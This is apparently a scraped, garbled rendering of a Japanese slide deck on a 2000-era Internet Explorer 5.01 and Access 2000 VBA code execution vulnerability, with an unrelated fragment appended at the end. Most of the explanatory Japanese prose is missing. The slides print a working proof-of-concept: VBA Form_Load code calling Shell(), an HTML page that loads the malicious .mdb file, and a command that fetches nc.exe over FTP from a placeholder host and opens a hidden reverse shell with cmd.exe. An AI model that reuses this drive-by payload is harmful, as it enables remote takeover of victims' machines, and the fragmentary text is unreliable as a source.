受動的攻撃について

Size: px

Start display at page:

Download "受動的攻撃について"

まともつちた
5 years ago
Views:

1 1 Microsoft Internet Explorer 5.01 and Access 2000 VBA Code Execution Vulnerability Eiji James Yoshida penetration technique research site June 30, 2000

2 2 Georgi Guninski Internet Explorer 5.01 Access 2000 Microsoft ActiveX CAB File Execution Vulnerability Microsoft Office 2000 UA Control Vulnerability web HTML ACL web web

3 3 Microsoft Internet Explorer 5.01 and Access 2000 VBA Code Execution Vulnerability Access 2000 Shell() Form Shell() MDAC/RDS Shell() Shell(" ") Shell("cmd /c echo Hello World") Shell() cmd /c cmd /c Shell()Hello World Form Option Compare Database Private Sub Detail_Click() Private Sub Form_Load() On Error GoTo Err_Command0_Click Dim stappname As String stappname = "cmd /c echo Hello World&pause" Call Shell(stAppName, 1) Exit_Command0_Click: Exit Sub Err_Command0_Click: MsgBox Err.Description Resume Exit_Command0_Click Private Sub Form_Open(Cancel As Integer)

4 4 Form Form exploit.mdb mdb web web mdb ActiceX Java <OBJECT> web <html> <title>microsoft Internet Explorer 5.01 and Access 2000 VBA Code Execution Vulnerability</title> <META http-equiv="content-type" content="text/html; charset=shift_jis">

5 5 "hello World" <object data="exploit.mdb" id="d1"></object> eiji James Yoshida <a <a href=" june 30, 2000 witten by Eiji James Yoshida. </html> web index.html exploit.mdb web Internet Explorer 5.01 Access 2000 "Hello World"

6 6 exploit.mdb "Hello World" <OBJECT> exploit2.mdb FTP FTP exploit2.mdb exploit2.mdb Shell() web exploit2.mdb FTP ACL web

7 7 [auto.txt] open xxx.xxx.xxx.xxx anonymous lcd c: bin get nc.exe quit [exploit2.mdb] Option Compare Database Private Sub Detail_Click() Private Sub Form_Load() On Error GoTo Err_Command0_Click Dim stappname As String stappname = "cmd /c echo open xxx.xxx.xxx.xxx>c: auto.txt&echo anonymous>>c: auto.txt&echo hehehe@hehehe>>c: auto.txt&echo lcd c: >>c: auto.txt&echo bin>>c: auto.txt&echo get nc.exe>>c: auto.txt&echo quit>>c: auto.txt&c:&cd &ftp -s:c: auto.txt&start nc.exe -d -e cmd.exe xxx.xxx.xxx.xxx 25" Call Shell(stAppName, 0) Exit_Command0_Click: Exit Sub Err_Command0_Click: MsgBox Err.Description Resume Exit_Command0_Click Private Sub Form_Open(Cancel As Integer) exploit2.mdb

8 8 cmd /c echo open xxx.xxx.xxx.xxx>c: auto.txt echo anonymous>>c: auto.txt echo auto.txt echo lcd c: >>c: auto.txt echo bin>>c: auto.txt echo get nc.exe>>c: auto.txt echo quit>>c: auto.txt IP xxx.xxx.xxx.xxx c: cd C ftp -s:c: auto.txt FTP start c: nc.exe -d -e cmd.exe xxx.xxx.xxx.xxx 25 IP exploit2.mdb L0pht Heavy Industries Netcat for NT 1.1 Shell(stAppName, 0)exploit.mdb 1 1 0

9 9 web <html> <title>microsoft Internet Explorer 5.01 and Access 2000 VBA Code Execution Vulnerability</title> <META http-equiv="content-type" content="text/html; charset=shift_jis"> <object data="exploit2.mdb" id="d1"></object> eiji James Yoshida <a <a href=" june 30, 2000 witten by Eiji James Yoshida. </html> web index.html exploit2.mdb Netcat for NT nc.exe -l -p 25

10 10 web Internet Explorer 5.01 Access 2000 Netcat start web Internet Explorer 5.01 administrators web Microsoft Internet Explorer 5.01 and Access 2000 VBA Code Execution Vulnerability web web HTML Microsoft Internet Explorer and Outlook/Outlook Express Remote File Write Vulnerability MS IE HTML Help Shortcut Vulnerability HTML Outlook Express

11 11 [Georgi Guninski's home page] [SecurityFocus] [L0pht Heavy Industries] WindowsNTworkstation4.0 SP6a Internet Explorer5.01 Access 2000 Windows 2000 Internet Explorer5.01 Access 2000

untitled

untitled -1 - -2 - -3 - -4- -5 - -6 - -7- -8 - -9 - - 10 - -11 - - 12 - - 13 - - 14 - Microsoft, Windows, Windows NT, Office, Microsoft Outlook, Internet Explorer, MSN, Microsoft Corporation Netscape, Netscape